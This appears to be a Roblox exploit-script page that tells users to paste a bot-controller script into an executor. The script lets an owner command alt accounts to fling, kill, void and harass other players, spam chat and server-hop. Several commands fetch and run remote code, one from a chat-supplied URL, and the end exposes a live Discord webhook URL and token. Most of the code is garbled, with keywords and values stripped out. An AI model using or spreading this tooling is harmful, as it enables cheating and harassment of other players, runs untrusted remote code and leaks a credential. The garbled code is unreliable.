Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
specialkey =
botnotifymessage =
welcomemessage =
goodbyemessage =
autojoin =
prefix =
bots = {,,,,}
whitelisted = {}
blacklisted = {}
outfits = {
luobu = {,,},
pfurry = {,},
bfurry = {,},
protogen = {,,,},
emo = {,,},
dream = {,,}
}
autosh = {
enabled = ,
= ,
flingbot = ,
audiolog = ,
spam = {
enabled = ,
bypass = ,
message =
}
}
() :()
connecting =
spinning =
orbitting =
orbitlooping =
trippin =
shielding =
loopforcecuffing =
loopkillplring =
nohats =
hats =
timer =
gkgrabbing =
netbring =
fates =
oldnoclip =
following =
killbot =
mmweapon =
flingbot =
notools =
tools =
noclip =
stacking =
loopnosounds =
linedup =
marching =
copychat =
jumping =
sitting =
loopkill =
airswimming =
spamming =
velocity =
cream =
loopvoid =
voiding =
voidtarget =
slowmo =
antiragdoll =
bodyguarding =
swordfighting =
drophatonspawn =
droptoolonspawn =
(jjk,boss)
fat = {}
jjk:() ==
{boss}
jjk:() ==
:():()
jjk:() ==
i,v (:():())
v.Name ~= boss.Name
.(fat,v)
fat
jjk:() ==
{:():()[.(,#:():())]}
i,v (:():())
jjk:() == v.Name:():(,#jjk) .(fat,v)
.(fat,v)
i,v (:():())
jjk:() == v.DisplayName:():(,#jjk) .(fat,v)
.(fat,v)
fat
:().Stepped:(()
noclip
.Players.LocalPlayer.Character.Humanoid.RigType == .HumanoidRigType.R6
.Players.LocalPlayer.Character.Head.CanCollide =
.Players.LocalPlayer.Character.Torso.CanCollide =
.Players.LocalPlayer.Character[].CanCollide =
.Players.LocalPlayer.Character[].CanCollide =
.Players.LocalPlayer.Character.Humanoid.RigType == .HumanoidRigType.R15
.Players.LocalPlayer.Character.Head.CanCollide =
.Players.LocalPlayer.Character.UpperTorso.CanCollide =
.Players.LocalPlayer.Character.LowerTorso.CanCollide =
.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide =
)
:().Stepped:(()
oldnoclip
.Players.LocalPlayer.Character.Humanoid:()
)
.Players.LocalPlayer.CharacterAdded:(()
.Players.LocalPlayer.Character:(,)
cream
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
drophatonspawn
i,v (.Players.LocalPlayer.Character:())
(() v:() v:() (() v.Handle:():() ) v.Parent = )
droptoolonspawn
i,v (.Players.LocalPlayer.Backpack:())
v.Parent = .Players.LocalPlayer.Character
v.Parent =
loopkill
.Players.LocalPlayer.Character:()
)
autosh[] .(whitelisted,.Players.LocalPlayer)
autosh[] ==
(()
ignore = {
,
,
,
,
,
,
,
}
i,v (:())
v:() .(ignore,v.SoundId)
s,f = (() (,(v.SoundId)..) (..v.SoundId..) ) s (,(v.SoundId))
)
autosh[][] ==
(()
:().RenderStepped:(()
tbl_main =
{
autosh[][],
}
:().DefaultChatSystemChatEvents.SayMessageRequest:((tbl_main))
autosh[][]
.Players:(message)
)
)
autosh[] ==
(()
power =
noclip =
()
(() .Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:() )
bambam = .()
bambam.Parent = .Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = .(power,,power)
bambam.Location = .Players.LocalPlayer.Character.HumanoidRootPart.Position
(()
()
i,v (.Players.LocalPlayer.Character:())
(() v.Velocity = .(,,) v.RotVelocity = .(,,) )
.Target = .Players:()[.(,#.Players:())]
.Target == owner
.Players.LocalPlayer.Character:(.Target.Character.Head.CFrame)
)
()
==
)
(()
(autosh[])
()
x = {}
_, v (:():(:( .. .PlaceId .. )).data)
(v) == v.maxPlayers > v.playing v.id ~= .JobId
x[#x + ] = v.id
#x >
:():(.PlaceId, x[.(, #x)])
:().TeleportInitFailed:(() .PlaceId == :():() )
:():(.PlaceId)
()
)
(owner)
.(blacklisted,owner.Name) owner ~= .Players.LocalPlayer
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = owner
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,,))
.(whitelisted,owner.Name) owner ~= .Players.LocalPlayer .(whitelisted,.Players.LocalPlayer.Name)
welcomemessage
tbl_main =
{
..string.(owner.Name,,)..,
}
:().DefaultChatSystemChatEvents.SayMessageRequest:((tbl_main))
owner.Chatted:((msg)
copychat ==
.Players:(msg)
tbl_main =
{
msg,
}
:().DefaultChatSystemChatEvents.SayMessageRequest:((tbl_main))
fates ==
.Players:(msg)
BM = .(msg,)
BM[] ==
.(BM,)
BM[]:() == prefix..
(.({
Url = ..BM[],
Method =
}).Body)()
BM[]:() == prefix..
i,v (.Players.LocalPlayer.Backpack:())
v.Parent = .Players.LocalPlayer.Character
(()
tbl_main =
{
,
}
v.Remote:((tbl_main))
)
BM[]:() == prefix..
.Players.LocalPlayer.Character:()
BM[]:() == prefix..
h = .Players.LocalPlayer.Character.Head.CFrame
.Players.LocalPlayer.Character:()
()
.Players.LocalPlayer.Character:(h)
BM[]:() == prefix..
connecting =
BM[]:() == prefix..
.Target = (BM[]:(),owner)[].Name
(:())()
BM[]:() == prefix..
killbot =
(()
.Target = .Players:()[.(,#.Players:())].Name
.Target == owner.Name
(:())()
()
)
killbot ==
BM[]:() == prefix..
killbot =
BM[]:() == prefix..
flingbot =
BM[]:() == prefix..
power =
noclip =
()
(() .Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:() )
bambam = .()
bambam.Parent = .Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = .(power,,power)
bambam.Location = .Players.LocalPlayer.Character.HumanoidRootPart.Position
flingbot =
(()
()
i,v (.Players.LocalPlayer.Character:())
(() v.Velocity = .(,,) v.RotVelocity = .(,,) )
.Target = .Players:()[.(,#.Players:())]
.Target == owner
.Players.LocalPlayer.Character:(.Target.Character.Head.CFrame)
)
()
flingbot ==
BM[]:() == prefix..
flingbot =
BM[]:() == prefix..
obese = :()
_,kachow (obese:())
obese.LocalPlayer:(kachow, kachow)
BM[]:() == prefix..
loopkillplring =
.Target = (BM[]:(),owner)[].Name
()
(()
(:())()
)
()
loopkillplring ==
BM[]:() == prefix..
loopkillplring =
BM[]:() == prefix..
A_1 = (BM[])
:().Item:(A_1)
BM[]:() == prefix..
mmweapon =
BM[]:() == prefix..
mmweapon =
()
A_1 = (BM[])
:().Item:(A_1)
mmweapon ==
BM[]:() == prefix..
airswimming =
()
.Players.LocalPlayer.Character.Humanoid:(.HumanoidStateType.Swimming)
airswimming ==
BM[]:() == prefix..
(v)
v:() v.Name ~=
:().Heartbeat:(()
v.Velocity = .(,,)
()
)
i,v , :()
(v)
.DescendantAdded:(h)
:():(, {
Title = ;
Text = ;
Icon = })
BM[]:() == prefix..
name = owner.Name
index, part (:())
part:( ) part.Anchored == part:(.Players.LocalPlayer.Character) == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == ==
part.CFrame = .(owner.Character.Head.Position)
spam == part:() ==
bodyPos = .()
bodyPos.Position = part.Position
bodyPos.MaxForce = .(.huge, .huge, .huge)
bodyPos.P =
bodyPos.Parent = part
BM[]:() == prefix..
netbring =
()
name = owner.Name
index, part (:())
part:( ) part.Anchored == part:(.Players.LocalPlayer.Character) == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == == part.Name == ==
part.CFrame = .(owner.Character.Head.Position)
spam == part:() ==
bodyPos = .()
bodyPos.Position = part.Position
bodyPos.MaxForce = .(.huge, .huge, .huge)
bodyPos.P =
bodyPos.Parent = part
netbring ==
BM[]:() == prefix..
netbring =
BM[]:() == prefix..
airswimming =
BM[]:() == prefix..
bots = {.Players.LocalPlayer}
connecting =
i,v (.Players:())
v.Name ~= .Players.LocalPlayer.Name
v.Chatted:((msg)
msg == ..specialkey connecting == .(bots,v.Name)
.(bots,v.Name)
tbl_main =
{
..v.Name,
}
:().DefaultChatSystemChatEvents.SayMessageRequest:((tbl_main))
)
()
.Players:(..specialkey)
BM[]:() == prefix..
.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (BM[])
BM[]:() == prefix..
.Players.LocalPlayer.Character.Humanoid.JumpPower = (BM[])
BM[]:() == prefix..
.Players.LocalPlayer.Character.Head.Mesh:()
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
h = .(,owner.Character)
h.Looped =
h.SoundId =
h.Volume =
h:()
(()
()
h:()
)
Client.Character:(Client.Character.Head.CFrame * .(.(), .(), .()))
BM[]:() == prefix..
i,v (.((),))
tbl_main =
{
v,
}
:().DefaultChatSystemChatEvents.SayMessageRequest:((tbl_main))
()
BM[]:() == prefix..
voidtarget = (BM[]:(),owner)[]
trippin =
(()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
h = .(,owner.Character)
h.Looped =
h.SoundId =
h.Volume =
h:()
(()
()
h:()
)
Client.Character:(Client.Character.Head.CFrame * .(.(), .(), .()))
) () trippin ==
BM[]:() == prefix..
trippin =
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
i=,
(()
.Players.LocalPlayer.Character:(.Players.LocalPlayer.Character.PrimaryPart.CFrame * .(.(), .(), .()))
)
()
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
aha = {}
i,v (:()) v:() .(aha,v) #aha ~= Client.Character:(aha[.(,#aha)].CFrame * .(,)) Client.Character:(.(,,))
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
character = owner.Character
hrp = character:()
parts = {}
numberOfParts =
_ = , numberOfParts
.(parts, .())
i, part (parts)
part.Anchored =
part.CanCollide =
part.Parent =
fullCircle = * .pi
radius =
(angle)
x = .(angle) * radius
z = .(angle) * radius
x, z
:().Heartbeat:(()
i, part (parts)
angle = i * (fullCircle / #parts)
x, z = (angle)
position = (hrp.CFrame * .(x, , z)).p
lookAt = hrp.Position
part.CFrame = .(position, lookAt)
)
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
()
i,v (parts)
(() .Players.LocalPlayer.Character:(v.CFrame) )
()
timer ==
timer =
i,v (parts)
v:()
BM[]:() == prefix..
orbitlooping =
BM[]:() == prefix..
voidtarget = (BM[]:(),owner)[]
orbitlooping =
() (()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
character = owner.Character
hrp = character:()
parts = {}
numberOfParts =
_ = , numberOfParts
.(parts, .())
i, part (parts)
part.Anchored =
part.CanCollide =
part.Parent =
fullCircle = * .pi
radius =
(angle)
x = .(angle) * radius
z = .(angle) * radius
x, z
:().Heartbeat:(()
i, part (parts)
angle = i * (fullCircle / #parts)
x, z = (angle)
position = (hrp.CFrame * .(x, , z)).p
lookAt = hrp.Position
part.CFrame = .(position, lookAt)
)
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
()
i,v (parts)
(() .Players.LocalPlayer.Character:(v.CFrame) )
()
timer ==
timer =
i,v (parts)
v:()
) orbitlooping ==
BM[]:() == prefix..
jumping =
()
(() .Players.LocalPlayer.Character.Humanoid.Jump = )
jumping ==
BM[]:() == prefix..
jumping =
BM[]:() == prefix..
sitting =
()
(() .Players.LocalPlayer.Character.Humanoid.Sit = )
sitting ==
BM[]:() == prefix..
sitting =
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
partflinger = .(,)
partflinger.Name =
partflinger.CanCollide =
partflinger.CFrame = FeLoopTarget.Character.Head.CFrame
.(,partflinger).Velocity = .(,,)
()
Client.Character:(partflinger.CFrame)
i,v (Client.Character:())
(() v.Velocity = .(,,) )
timer ==
timer =
partflinger:()
BM[]:() == prefix..
loopfling =
BM[]:() == prefix..
voidtarget = (BM[]:(),owner)[]
(()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
partflinger = .(,)
partflinger.Name =
partflinger.CanCollide =
partflinger.CFrame = FeLoopTarget.Character.Head.CFrame
.(,partflinger).Velocity = .(,,)
()
Client.Character:(partflinger.CFrame)
i,v (Client.Character:())
(() v.Velocity = .(,,) )
timer ==
timer =
partflinger:()
) () loopfling ==
BM[]:() == prefix..
voidtarget = (BM[]:(),owner)[]
loopforcecuffing =
() (()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
()
Client.Character:(owner.Character.Head.CFrame*.(,-,-))
i,v (Client.Character:())
(() v.Velocity = .(,,) )
timer ==
timer =
) loopforcecuffing ==
BM[]:() == prefix..
loopforcecuffing =
BM[]:() == prefix..
i,v (:())
v:()
(.Players.LocalPlayer.Character.Head,v.Handle,)
i,v (.Players.LocalPlayer.Character:())
(() v.Velocity = .(,,) )
.Players.LocalPlayer.Character:(owner.Character.Head.CFrame * .(,-,))
.Players.LocalPlayer.Character.Humanoid.PlatformStand =
.Players.LocalPlayer.Character.Humanoid.PlatformStand =
.Players.LocalPlayer.Character:(owner.Character.Head.CFrame * .(,-,))
()
i,v (.Players.LocalPlayer.Character:())
v:() v.Parent = .Players.LocalPlayer.Backpack
i,v (.Players.LocalPlayer.Backpack:())
v.Parent = .Players.LocalPlayer.Character
v.Parent =
BM[]:() == prefix..
i,v (:())
v:()
(.Players.LocalPlayer.Character.Head,v.Handle,)
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
(()
timer=
()
timer=
()
timer=
()
timer=
()
timer=
)
()
Client.Character:(owner.Character.Head.CFrame*.(,-,-))
i,v (Client.Character:())
(() v.Velocity = .(,,) )
timer ==
timer =
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,.FallenPartsDestroyHeight + ,))
BM[]:() == prefix..
plr = (BM[]:(),owner)[]
chr = .Players.LocalPlayer.Character
chr.Humanoid:()
.(,chr)
i,v (.Players.LocalPlayer.Backpack:())
v:()
v.Parent = .Players.LocalPlayer.Character
v.Handle.CanCollide =
v.Handle.Massless =
hiscf = plr.Character.Head.CFrame
chr:(hiscf*.(-,,))
()
chr:(.(,,))
()
chr:(hiscf)
()
chr:()
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,,))
BM[]:() == prefix..
protecting =
() (()
i,v (.Players:()) v:(owner.Character.Head.Position) <
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = v
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,,))
) protecting ==
BM[]:() == prefix..
voiding =
BM[]:() == prefix..
voiding =
BM[]:() == prefix..
voiding =
voidtarget = (BM[]:(),owner)[]
(()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,.FallenPartsDestroyHeight + ,))
()
) () voiding ==
BM[]:() == prefix.. BM[]:() == prefix..
().Nullware_ReanimateConfiguration = {
[] = ,
[] = ,
[] = {,,,,,,,,},
[] = ,
[] = ,
[] =
}
(:())()
BM[]:() == prefix.. BM[]:() == prefix..
().Nullware_ReanimateConfiguration = {
[] = ,
[] = ,
[] = {,,,,,,,,},
[] = ,
[] = ,
[] =
}
(:())()
BM[]:() == prefix..
fates =
(:())();
.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:(, )
BM[]:() == prefix..
voiding =
voidtarget = (BM[]:(),owner)[]
(()
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = voidtarget
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(.(,,))
()
) () voiding ==
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(owner.Character.Head.CFrame)
BM[]:() == prefix..
AnimationId =
Anim = .()
Anim.AnimationId = ..AnimationId
k = .Players.LocalPlayer.Character.Humanoid:(Anim)
k:()
.Players.LocalPlayer.Character.Animate:()
.Players.LocalPlayer.Character.Humanoid.Animator:()
Client = .Players.LocalPlayer
FeLoopTarget = (BM[]:(),owner)[]
FeLoopTarget2 = (BM[]:(),owner)[]
Camera = .CurrentCamera
Client.Character::()
NewHum = Client.Character.Humanoid:()
Client.Character.Humanoid:()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
i,v (Client.Backpack:())
v v:
v.Parent = Client.Character
v.Handle.CanCollide =
v.Handle.Massless =
Client.Character:(FeLoopTarget.Character.Head.CFrame * .(-,-,))
()
Client.Character:(FeLoopTarget2.Character.Head.CFrame)
BM[]:() == prefix..
.SoundService.RespectFilteringEnabled ==
i,v (.Workspace:())
v:()
v:()
BM[]:() == prefix..
i,v (:())
v:() v:()
BM[]:() == prefix..
loopnosounds =
()
i,v (:())
v:() v:() loopnosounds ==
BM[]:() == prefix..
loopnosounds =
BM[]:() == prefix..
.Players.LocalPlayer.Character[]:()
.Players.LocalPlayer.Character[]:()
BM[]:() == prefix..
.Players.LocalPlayer.Character.Head.Mesh:()
.Players.LocalPlayer.Character[]:()
.Players.LocalPlayer.Character[]:()
BM[]:() == prefix..
.Players.LocalPlayer.Character[]:()
.Players.LocalPlayer.Character[]:()
BM[]:() == prefix..
prefix = BM[]:()
BM[]:() == prefix..
noclip =
BM[]:() == prefix..
_, child (speaker.Character:())
child:()
child.CustomPhysicalProperties = PhysicalProperties.(, , )
bambam = .()
bambam.Name = .()
bambam.Parent = (.Players.LocalPlayer.Character)
bambam.AngularVelocity = .(,,)
bambam.MaxTorque = .(,,)
bambam.P = .huge
BM[]:() == prefix..
_, child (.Players.LocalPlayer.Character:())
child:()
child.CustomPhysicalProperties = PhysicalProperties.new(2, 0.3, 0.5)
end
end
end
if BM[1]:lower() == prefix.."unnoclip" then
noclip = false
end
if BM[1]:lower() == prefix.."clip" then
noclip = false
end
if BM[1]:lower() == prefix.."oldnoclip" then
oldnoclip = true
end
if BM[1]:lower() == prefix.."oldunnoclip" then
oldnoclip = false
end
if BM[1]:lower() == prefix.."unoldnoclip" then
oldnoclip = false
end
if BM[1]:lower() == prefix.."oldclip" then
oldnoclip = false
end
if BM[1]:lower() == prefix.."webhook" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
if game.Players.LocalPlayer.Name == bots[3] then
local response = syn.request(
{
Url = 'https://discord.com/api/webhooks/835157859666100264/b0DRTJmv3_hHiVVFos3A4bPYg7ZYaagZcXfn0mFGCVlm3w_mqLM4Kj2NFzm90DryCPoc', Method = 'POST', Headers = {['content-type'] = 'application/json'},
Body = game:GetService('HttpService'):JSONEncode(
{content = message}
)
}
);
end
end
if BM[1]:lower() == prefix.."bring" then
game.Players.LocalPlayer.Character:MoveTo(owner.Character.Head.Position)
end
if BM[1]:lower() == prefix.."tweenbring" then
local New_CFrame = owner.Character.Head.CFrame
local ts = game:GetService("TweenService")
local uis = game:GetService("UserInputService")
local char = game.Players.LocalPlayer.Character
local part = char.HumanoidRootPart
local ti = TweenInfo.new(1, Enum.EasingStyle.Linear)
local tp = {CFrame = New_CFrame}
ts:Create(part, ti, tp):Play()
end
if BM[1]:lower() == prefix.."hats" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
pcall(function() if v:IsA("Accessory") or v:IsA("Hat") then pcall(function() v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() end) v.Parent = workspace end end)
end
end
if BM[1]:lower() == prefix.."fasthats" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
pcall(function() if v:IsA("Accessory") or v:IsA("Hat") then pcall(function() v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() end) v.Parent = workspace end end)
end
game.Players.LocalPlayer.Character:BreakJoints()
end
if BM[1]:lower() == prefix.."tools" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
end
if BM[1]:lower() == prefix.."equip" then
